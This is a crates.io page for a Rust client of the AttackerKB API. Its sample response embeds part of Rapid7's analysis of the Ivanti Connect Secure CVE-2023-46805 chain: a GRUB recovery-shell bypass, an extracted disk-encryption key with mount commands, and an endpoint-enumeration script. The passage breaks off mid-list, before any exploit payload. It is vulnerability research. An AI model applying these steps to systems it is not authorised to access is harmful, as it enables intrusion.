3 releases

0.1.2 Mar 1, 2024
0.1.1 Mar 1, 2024
0.1.0 Feb 20, 2024

#189 in HTTP client

22 downloads per month

GPL-3.0-only

105KB
554 lines

githubcrates-iodocs-rs

Rust Library for Rapid7 AttackerKB API

For more details on the API referer to https://api.attackerkb.com/api-docs/docs

Usage

  • Cargo.toml:
#attackerkb-api-rs = { git = "https://github.com/emo-crab/attackerkb-api-rs" }
attackerkb-api-rs = { version = "0.1.0", features = ["nvd-cves"] }
  • example code
use attackerkb_api_rs::AttackKBApi;
use attackerkb_api_rs::v1::query::TopicsParametersBuilder;


#[tokio::main]
async fn main() {
  let token = Some("see your profile like: https://attackerkb.com/contributors/cn-kali-team#api".to_string());
  let api = AttackKBApi::new(token).unwrap();
  let query = TopicsParametersBuilder::default().size(10).q(Some("cve-2023-46805".into())).build().unwrap();
  let list_resp = api.topics(query).await.unwrap();
  println!("{:#?}", list_resp);
  let single_resp = api.topic("40a59992-3535-439c-a358-ec629cfa6115").await.unwrap();
  println!("{:#?}", single_resp);
}

Features

crates-io

  • nvd-cves
  • Enabling this feature will parse cve data in metadata
Topic(
    SingleResponse {
        data: Topic {
            id: 40a59992-3535-439c-a358-ec629cfa6115,
            editor_id: 9c3c0bdd-7a98-48de-a889-f351a2aec7cf,
            name: "CVE-2023-46805",
            created: 2023-10-27T02:30:15.223635Z,
            revision_date: 2024-01-16T15:17:10.175893Z,
            disclosure_date: Some(
                2024-01-12T17:15:09.530Z,
            ),
            document: "An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.",
            metadata: MetaData {
                configurations: [
                    "cpe:2.3:a:ivanti:connect_secure:22.1:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.1:r6:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.2:-:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.2:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.3:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.4:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.4:r2.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.5:r2.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.6:-:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.6:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:22.6:r2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r12.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r13.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r13:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r14:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r15.2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r15:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r16.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r16:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r17.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r17:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r18:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r4.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r4.2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r4.3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r4:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r5:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r6:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r7:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r8.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r8.2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r8:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r9.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:connect_secure:9.1:r9:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.1:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.1:r6:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.2:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.2:r3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.3:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.3:r3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.4:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.4:r2.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.4:r2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.5:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.5:r2.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:22.6:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.0:*:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r10:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r11:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r12:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r13.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r13:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r14:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r15:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r16:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r17:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r18:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r3.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r3:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r4.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r4.2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r4:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r5:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r6:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r7:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r8.1:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r8.2:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r8:*:*:*:*:*:*",
                    "cpe:2.3:a:ivanti:policy_secure:9.1:r9:*:*:*:*:*:*",
                ],
                credits: None,
                cve_state: PUBLIC,
                references: [],
                vendor: Some(
                    Vendor {
                        product_names: [
                            "connect secure 22.1",
                            "connect secure 22.2",
                            "connect secure 22.3",
                            "connect secure 22.4",
                            "connect secure 22.5",
                            "connect secure 22.6",
                            "connect secure 9.0",
                            "connect secure 9.1",
                            "policy secure 22.1",
                            "policy secure 22.2",
                            "policy secure 22.3",
                            "policy secure 22.4",
                            "policy secure 22.5",
                            "policy secure 22.6",
                            "policy secure 9.0",
                            "policy secure 9.1",
                        ],
                        vendor_names: [
                            "ivanti",
                        ],
                    },
                ),
                vulnerable_versions: Some(
                    [
                        "ICS 9.1R18",
                        "ICS 22.6R2",
                        "IPS 9.1R18",
                        "IPS 22.6R1",
                    ],
                ),
            },
            score: Score {
                attacker_value: 5.0,
                exploitability: 3.0,
            },
            tags: [
                FoldedRecord(
                    FoldedRecord {
                        id: 19076e68-1c52-48c1-bc15-7f6a3053c357,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 392ac474-91f1-4944-ad4f-78ce648b2df7,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 791283de-d643-4ede-850e-91a6edb897db,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 8f7ef49d-26f4-46b1-9676-599f6669f4d3,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 991a0301-5049-4e43-86af-feec9914e03a,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 240789d2-3e0b-4967-a6a4-8f09029f642d,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 02c27d86-7690-4074-8f1e-dead30c1e2fa,
                    },
                ),
            ],
            references: [
                FoldedRecord(
                    FoldedRecord {
                        id: 14fd410d-352b-493b-b926-0bd5904fcad3,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 6fa7e17c-ebac-4a89-8fa3-58b8fedfd27e,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 29104a93-3c9f-4cf9-8b73-7dbc857c2d0f,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 056cf64e-ce8f-478c-99e2-2589fae85e3d,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 5f8b3771-ce18-4d57-aab2-1da4f6f226fd,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: 394a8d86-842d-4341-a521-04e1ba7fa2c7,
                    },
                ),
                FoldedRecord(
                    FoldedRecord {
                        id: cc8bbbba-7fd0-4469-8ba4-3b70904bffdc,
                    },
                ),
            ],
            rapid7_analysis: Some(
                "## Overview\r\nStarting January 10, 2024, multiple parties ([Ivanti](https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US), [Volexity](https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/), and [Mandiant](https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day)) disclosed the existence of a zero-day exploit chain affecting Ivanti Connect Secure (previously called Pulse Connect Secure) and Ivanti Policy Secure gateway. This exploit chain was exploited in the wild circa December 2023. The exploit chain consists of two vulnerabilities, an authentication bypass ([CVE-2023-46805](https://nvd.nist.gov/vuln/detail/CVE-2023-46805)) and a command injection vulnerability ([CVE-2024-21887](https://nvd.nist.gov/vuln/detail/CVE-2024-21887)). The exploit chain allows a remote unauthenticated attacker to execute arbitrary OS commands with root privileges. As per the Ivanti advisory, these vulnerabilities affect all supported versions of the products, versions 9.x and 22.x. It is unknown if the unsupported versions 8.x and older are also affected.\r\n\r\nThis analysis will detail our findings against Ivanti Connect Secure version 22.3R1 (build 1647).\r\n\r\n## Jailbreaking the Appliance\r\nThe version of Ivanti Connect Secure we tested is distributed as a virtual appliance that can run on either VMWare or HyperV. After installing the appliance via HyperV and letting it run for a while we took a snapshot of the VM and saved the virtual hard disk to a VHD file. We then mounted this VHD in a separate Ubuntu Linux VM so we could begin to inspect the contents. We quickly learn that the majority of partitions are LUKS encrypted, and we cannot access them without a key or a jailbreak, i.e. getting a root shell on the device somehow.\r\n\r\nPrior work by Orange Tsai and Meh Chang in 2019 against Pulse Connect Secure ([Infiltrating Corporate Intranet Like NSA](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf) (PDF)) showed how to jailbreak the appliance by patching an initialization script’s path in-memory, during a specific point in the boot process. This allowed a root shell to be spawned and gave full access to the mounted filesystem. Unfortunately this technique no longer works.\r\n\r\nOn January 13, 2024, watchTowr Labs published a [blog](https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/) that demonstrated how they managed to jailbreak the appliance by dropping to a Grub bootloader recovery shell using a novel technique that bypasses an attempt at blocking the default recovery shell. Using this technique, we were able to recover the encryption key for the appliance.\r\n\r\nFirst we boot the appliance and from Grub, we press `e` to edit the current configuration. We use the watchTowr technique and append the parameter `init=//bin/sh` to bypass the recovery shell filtering (`/bin/sh` is blocked, but an alternative path such as `//bin/sh` will work).\r\n\r\n![hv1.png](https://raw.githubusercontent.com/sfewer-r7/akb_assets/main/CVE-2023-46805/hv1.png)\r\n\r\nWe then press F10 to boot, and are dropped to a shell. We dump the contents of the 16 byte encryption key via the command `cat -Ev /etc/lvmkey`. The `-v` switch will output the files contents using an obscure notation that uses `^` and `M-` sequences to encode non-ASCII characters (A decoding table can be found [here](https://stackoverflow.com/a/44952259)). We do this as we found no other way to exfiltrate the 16 byte key from the recovery shell. We also use the switch `-E` to display the $ symbol for the new line char, as coincidentally the key contains this character.\r\n\r\n![hv2.png](https://raw.githubusercontent.com/sfewer-r7/akb_assets/main/CVE-2023-46805/hv2.png)\r\n\r\nUsing this notation, we learn that the key is `$M-9M-^^M-OM-^IuNM-G```^XM-J^NM-Z]jM-G`, and when converted into hex notation this becomes `0ab99ecf89754ec76018ca0eda5d6ac7`. \r\n\r\nKnowing the decryption key we can now successfully mount the encrypted volumes via the following sequence of commands: \r\n\r\n```bash\r\n# Install required tools...\r\n$ sudo apt install lvm2\r\n$ sudo apt install cryptsetup-bin\r\n# Detect the volumes...\r\n$ sudo vgscan\r\n  Found volume group \"groupA\" using metadata type lvm2\r\n  Found volume group \"groupZ\" using metadata type lvm2\r\n$ sudo vgchange -ay groupA\r\n  2 logical volume(s) in volume group \"groupA\" now active\r\n$ sudo vgchange -ay groupZ\r\n  1 logical volume(s) in volume group \"groupZ\" now active\r\n$ sudo lvs\r\n  LV      VG     Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert\r\n  home    groupA -wi-a----- 3.50g                                                    \r\n  runtime groupA -wi-a----- 8.80g                                                    \r\n  home    groupZ -wi-a----- 3.00g\r\n# Write the LUKS decryption key to a file...\r\n$ echo -n 0ab99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > key.bin\r\n# Open the 3 volumes...\r\n$ sudo cryptsetup luksOpen -d key.bin /dev/groupA/home ics_disk1\r\n$ sudo cryptsetup luksOpen -d key.bin /dev/groupA/runtime ics_disk2\r\n$ sudo cryptsetup luksOpen -d key.bin /dev/groupZ/home ics_disk3\r\n# Mount the 3 volumes...\r\n$ mkdir ics_disk1 ics_disk2 ics_disk3\r\n$ sudo mount /dev/mapper/ics_disk1 ics_disk1/\r\n$ sudo mount /dev/mapper/ics_disk2 ics_disk2/\r\n$ sudo mount /dev/mapper/ics_disk3 ics_disk3/\r\n# Verify we can access the appliance files…\r\n$ cat ics_disk1/root/home/ssl-vpn-VERSION \r\nexport DSREL_MAJOR=22\r\nexport DSREL_MINOR=3\r\nexport DSREL_MAINT=1\r\nexport DSREL_DATAVER=4802\r\nexport DSREL_PRODUCT=ssl-vpn\r\nexport DSREL_DEPS=ive\r\nexport DSREL_BUILDNUM=1647\r\nexport DSREL_COMMENT=\"R1\"\r\n```\r\n\r\nOf the three encrypted volumes, the first volume which we mounted as `ics_disk1` contains the application code used throughout the below analysis.\r\n\r\n## Bypassing Authentication\r\nThere is not a lot of information to go on when trying to identify the vulnerabilities in this exploit chain. We have two pieces of information, an XML file from the vendor which can apply a “mitigation” to a vulnerable system, and the description of the auth bypass according to the vendor:\r\n\r\n> An authentication bypass vulnerability in the web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.\r\n\r\nThe CVE mentions the web component is affected, and that control checks can be bypassed, so we begin by investigating how the appliance’s web component operates and in particular, how it enforces access controls. \r\n\r\nWe identified a custom web server written in C++ and located in the binary `ics_disk1/root/home/bin/web`. This server will handle all incoming HTTPS requests for numerous resources, including Perl based CGI scripts and a Python based REST API. The REST API is implemented as a separate Python Flask application, and listens on a locally bound TCP port 8090. The REST API endpoints are implemented via the code located in `ics_disk1/root/home/venv3/lib/python3.6/site-packages/restservice-0.1-py3.6.egg`. The native code web server will proxy requests to this REST server as needed and authentication is enforced in the native web server and not the Flask application. \r\n\r\nWe begin by pulling all URI endpoints that have been hard coded into both the native code web server binary and the Python based REST server source code. A simple Ruby script is then used to request all endpoints and record their HTTP response code. \r\n\r\n```ruby\r\nrequire 'httparty'\r\nrequire 'json'\r\n\r\n# pulled from restservice-0.1-py3.6/restservice/api/__init__.py and /root/home/bin/web\r\nendpoints = [\r\n\t\"/_/api/aaa\",\r\n\t\"/api/\",\r\n\t\"/api/my-session\",\r\n\t\"/api/private/v1/classic-admin-ui\",\r\n\t\"/api/private/v1/cluster/password\",\r\n\t\"/api/private/v1/controller-changeset\",\r\n\t\"/api/private/v1/license/watermarks/<path:url_suffix>\",\r\n\t\"/api/private/v1/totp/server-status\",\r\n\t\"/api/private/v1/totp/user-backup-code\",\r\n\t\"/api/private/v1/totp/user-login\",\r\n\t\"/api/v1/\",\r\n\t\"/api/v1/auth\",\r\n\t\"/api/v1/cav\",\r\n\t\"/api/v1/cav/\",\r\n\t\"/api/v1/cav/client/\",\r\n\t\"/api/v1/cav/client/auth_token\",\r\n\t\"/api/v1/cluster\",\r\n\t\"/api/v1/cluster/\",\r\n\t\"/api/v1/cluster/<path:section>\",\r\n\t\"/api/v1/configuration\",\r\n\t\"/api/v1/configuration/\",\r\n\t\"/api/v1/configuration/<path:configuration_path>\",\r\n\t\"/api/v1/configuration/auth/ace-server/log-table\",\r\n\t\"/api/v1/dsintegration\",\r\n\t\"/api/v1/enduser\",\r\n\t\"/api/v1/enduser/autolaunch-client-apps\",\r\n\t\"/api/v1/enduser/bkm-panel-pref\",\r\n\t\"/api/v1/enduser/cached-passwords\",\r\n\t\"/api/v1/enduser/client/applaunchtoken\",\r\n\t\"/api/v1/enduser/client/applaunchtoken/status\",\r\n\t\"/api/v1/enduser/client/installer\",\r\n\t\"/api/v1/enduser/custom-html5-bookmark\",\r\n\t\"/api/v1/enduser/custom-html5-bookmark/input-text\",\r\n\t\"/api/v1/enduser/custom-ts-bookmark\",\r\n\t\"/api/v1/enduser/custom-ts-bookmark/input-text\",\r\n\t\"/api/v1/enduser/custom-unix-file-bookmark\",\r\n\t\"/api/v1/enduser/custom-web-bookmark\",\r\n\t\"/api/v1/enduser/custom-web-bookmark/input-text\",\r\n\t\"/api/v1/enduser/custom-windows-file-bookmark\",\r\n\t\"/api/v1/enduser/delete-user-admin\",\r\n\t\"/api/v1/enduser/display-mode\",\r\n\t\"/api/v1/enduser/display-unix-dir\",\r\n\t\"/api/v1/enduser/display-windows-dir\",\r\n\t\"/api/v1/enduser/fb/unix-file-download\",\r\n\t\"/api/v1/enduser/fb/unix-zip-download\",\r\n\t\"/api/v1/enduser/fb/win-file-download\",\r\n\t\"/api/v1/enduser/fb/win-zip-download\",\r\n\t\"/api/v1/enduser/full\",\r\n\t\"/api/v1/enduser/heartbeat\",\r\n\t\"/api/v1/enduser/host-resolve-status\",\r\n\t\"/api/v1/enduser/html5-remote-desktop-launcher\",\r\n\t\"/api/v1/enduser/jsam/apps-reorder\",\r\n\t\"/api/v1/enduser/jsam/custom-client-apps\",\r\n\t\"/api/v1/enduser/jsam/list-client-apps\",\r\n\t\"/api/v1/enduser/jsam/restore-system-settings\",\r\n\t\"/api/v1/enduser/landing-page\",\r\n\t\"/api/v1/enduser/landing-page/browse\",\r\n\t\"/api/v1/enduser/logo-img\",\r\n\t\"/api/v1/enduser/onboarding/profile-secure\",\r\n\t\"/api/v1/enduser/panel_order\",\r\n\t\"/api/v1/enduser/password\",\r\n\t\"/api/v1/enduser/rdp-launcher\",\r\n\t\"/api/v1/enduser/server-cookies\",\r\n\t\"/api/v1/enduser/totp-backup-codes\",\r\n\t\"/api/v1/enterprise-onboard/csr-template-status\",\r\n\t\"/api/v1/enterprise-onboard/scep-configuration\",\r\n\t\"/api/v1/esapdata\",\r\n\t\"/api/v1/fb/create-folder\",\r\n\t\"/api/v1/fb/create-folder-unix\",\r\n\t\"/api/v1/fb/list\",\r\n\t\"/api/v1/fb/list-unix\",\r\n\t\"/api/v1/fb/set-credentials\",\r\n\t\"/api/v1/fb/unix/upload\",\r\n\t\"/api/v1/fb/windows/upload\",\r\n\t\"/api/v1/gateways\",\r\n\t\"/api/v1/host-checker/live-update/validate-credentials\",\r\n\t\"/api/v1/integration/\",\r\n\t\"/api/v1/license/auth-code\",\r\n\t\"/api/v1/license/enforcement\",\r\n\t\"/api/v1/license/enforcement/\",\r\n\t\"/api/v1/license/ice\",\r\n\t\"/api/v1/license/ice/\",\r\n\t\"/api/v1/license/keys-status\",\r\n\t\"/api/v1/license/keys-status/<path:node_name>\",\r\n\t\"/api/v1/license/leased-license-info\",\r\n\t\"/api/v1/license/leased-license-info/\",\r\n\t\"/api/v1/license/license-agreement-text\",\r\n\t\"/api/v1/license/license-capacity\",\r\n\t\"/api/v1/license/license-capacity/\",\r\n\t\"/api/v1/license/license-client-lease-state\",\r\n\t\"/api/v1/license/license-clients\",\r\n\t\"/api/v1/license/license-key\",\r\n\t\"/api/v1/license/license-server-last-contact-time\",\r\n\t\"/api/v1/license/license-server-lease-information\",\r\n\t\"/api/v1/license/max-licensed-concurrent-users\",\r\n\t\"/api/v1/license/named-users\",\r\n\t\"/api/v1/license/named-users/pcs\",\r\n\t\"/api/v1/license/named-users/pps\",\r\n\t\"/api/v1/license/nsalicense/delete-named-user\",\r\n\t\"/api/v1/license/pcls/last-contact-time\",\r\n\t\"/api/v1/license/report\",\r\n\t\"/api/v1/license/report/\",\r\n\t\"/api/v1/license/report/<path:url_suffix>\",\r\n\t\"/api/v1/logs\",\r\n\t\"/api/v1/logs/<path:section>\",\r\n\t\"/api/v1/metrics\",\r\n\t\"/api/v1/network\",\r\n\t\"/api/v1/network/<path:section>\",\r\n\t\"/api/v1/nsa/register\",\r\n\t\"/api/v1/nsa/registration-status\",\r\n\t\"/api/v1/oidc\",\r\n\t\"/api/v1/pps/action/\",\r\n\t\"/api/v1/profiler/\",\r\n\t\"/api/v1/profiler/auth\",\r\n\t\"/api/v1/profiler/exchange\",\r\n\t\"/api/v1/profiler/filter\",\r\n\t\"/api/v1/profiler/ws\",\r\n\t\"/api/v1/pulse-client\",\r\n\t\"/api/v1/pulse-client/component-settings/<path:url_suffix>\",\r\n\t\"/api/v1/pulse-one\",\r\n\t\"/api/v1/pulse-one/<path:section>\",\r\n\t\"/api/v1/realm_auth\",\r\n\t\"/api/v1/saml-\",\r\n\t\"/api/v1/saml-config/<path:auth_server_name>/download-metadata\",\r\n\t\"/api/v1/saml-config/<path:metadata_provider_name>\",\r\n\t\"/api/v1/saml-config/idp\",\r\n\t\"/api/v1/saml-config/idp/download-signin-metadata\",\r\n\t\"/api/v1/saml-config/sp\",\r\n\t\"/api/v1/sdpotp\",\r\n\t\"/api/v1/snmp/download-mib\",\r\n\t\"/api/v1/snmpv3\",\r\n\t\"/api/v1/snmpv3/<path:section>\",\r\n\t\"/api/v1/stats\",\r\n\t\"/api/v1/stats/\",\r\n\t\"/api/v1/stats/<path:url_suffix>\",\r\n\t\"/api/v1/system/active-users\",\r\n\t\"/api/v1/system/active-users/session/<path:url_suffix>\",\r\n\t\"/api/v1/system/ai-configs/<path:section>\",\r\n\t\"/api/v1/system/auth-server/mdm\",\r\n\t\"/api/v1/system/auth-server/totp\",\r\n\t\"/api/v1/system/auth/aaa-ports-list\",\r\n\t\"/api/v1/system/auth/auth-server/<path:auth_server>/api-key\",\r\n\t\"/api/v1/system/auth/auth-server/<path:auth_server>/groups\",\r\n\t\"/api/v1/system/auth/auth-server/<path:auth_server_name>\",\r\n\t\"/api/v1/system/auth/auth-server/<path:auth_server_name>/troubleshoot\",\r\n\t\"/api/v1/system/auth/auth-server/<path:auth_server_name>/users\",\r\n\t\"/api/v1/system/auth/auth-server/api-key-without-saving\",\r\n\t\"/api/v1/system/auth/auth-server/ldap-test-connection\",\r\n\t\"/api/v1/system/auth/auth-server/simulate-variables\",\r\n\t\"/api/v1/system/binary-configuration\",\r\n\t\"/api/v1/system/certificates/client-auth-certificate\",\r\n\t\"/api/v1/system/certificates/client-auth-certificate-csrs\",\r\n\t\"/api/v1/system/certificates/client-auth-certificate-csrs/\",\r\n\t\"/api/v1/system/certificates/client-auth-certificate-csrs/<path:url_suffix>\",\r\n\t\"/api/v1/system/certificates/client-ca\",\r\n\t\"/api/v1/system/certificates/code-signing-certificates\",\r\n\t\"/api/v1/system/certificates/crl\",\r\n\t\"/api/v1/system/certificates/device-certificate\",\r\n\t\"/api/v1/system/certificates/device-certificate-csrs\",\r\n\t\"/api/v1/system/certificates/device-certificate-csrs/\",\r\n\t\"/api/v1/system/certificates/device-certificate-csrs/<path:url_suffix>\",\r\n\t\"/api/v1/system/certificates/device-certificates\",\r\n\t\"/api/v1/system/certificates/device-certificates/<path:url_suffix>\",\r\n\t\"/api/v1/system/certificates/expiring-certificates\",\r\n\t\"/api/v1/system/certificates/global-onboarding-certificate\",\r\n\t\"/api/v1/system/certificates/intermediate-ca\",\r\n\t\"/api/v1/system/certificates/server-ca\",\r\n\t\"/api/v1/system/certificates/smime-certificate\",\r\n\t\"/api/v1/system/date-time\",\r\n\t\"/api/v1/system/delete-records\",\r\n\t\"/api/v1/system/failed-login-count\",\r\n\t\"/api/v1/system/healthcheck\",\r\n\t\"/api/v1/system/ifmap/imported-sessions\",\r\n\t\"/api/v1/system/ifmap/imported-sessions/<path:url_suffix>\",\r\n\t\"/api/v1/system/maintenance\",\r\n\t\"/api/v1/system/maintenance/archiving/cloud-server-test-connection\",\r\n\t\"/api/v1/system/maintenance/archiving/localbackup\",\r\n\t\"/api/v1/system/maintenance/export-universal-xml\",\r\n\t\"/api/v1/system/maintenance/export-xml\",\r\n\t\"/api/v1/system/maintenance/import-xml\",\r\n\t\"/api/v1/system/maintenance/options\",\r\n\t\"/api/v1/system/maintenance/password-protection\",\r\n\t\"/api/v1/system/maintenance/upgrade\",\r\n\t\"/api/v1/system/platform\",\r\n\t\"/api/v1/system/resource-profiles/web-profile/<path:applet_name>\",\r\n\t\"/api/v1/system/saml/metadata-server-configuration\",\r\n\t\"/api/v1/system/status/<path:section>\",\r\n\t\"/api/v1/system/status/active-sync-devices\",\r\n\t\"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>\",\r\n\t\"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access\",\r\n\t\"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access\",\r\n\t\"/api/v1/system/status/ntp\",\r\n\t\"/api/v1/system/status/overview\",\r\n\t\"/api/v1/system/system-information\",\r\n\t\"/api/v1/system/user-record-synchronization\",\r\n\t\"/api/v1/system/user-record-synchronization/database/delete\",\r\n\t\"/api/v1/system/user-record-synchronization/database/export\",\r\n\t\"/api/v1/system/user-record-synchronization/database/import\",\r\n\t\"/api/v1/system/user-record-synchronization/database/retrieve-stats\",\r\n\t\"/api/v1/system/user-roles/<role_name>\",\r\n\t\"/api/v1/system/user-roles/vlansourceip\",\r\n\t\"/api/v1/system/user-stats\",\r\n\t\"/api/v1/tasks\",\r\n\t\"/api/v1/tenant/status\",\r\n\t\"/api/v1/totp/<totpSrv>/users\",\r\n\t\"/api/v1/totp/<totpSrv>/users/\",\r\n\t\"/api/v1/totp/<totpSrv>/users/<user>\",\r\n\t\"/api/v1/totp/<totpSrv>/users/<user>/\",\r\n\t\"/api/v1/totp/user-backup-code\",\r\n\t\"/api/v1/ueba/\",\r\n\t\"/api/v1/users/resource-profile/<path:profile_name>\",\r\n\t\"/api/v1/users/resource-profile/virtual-desktops-list\",\r\n\t\"/dana\",\r\n\t\"/dana-\",\r\n\t\"/dana-admin/\",\r\n\t\"/dana-admin/download/\",\r\n\t\"/dana-admin/mail/\",\r\n\t\"/dana-admin/snmp/\",\r\n\t\"/dana-cached/\",\r\n\t\"/dana-cached/cbox/\",\r\n\t\"/dana-c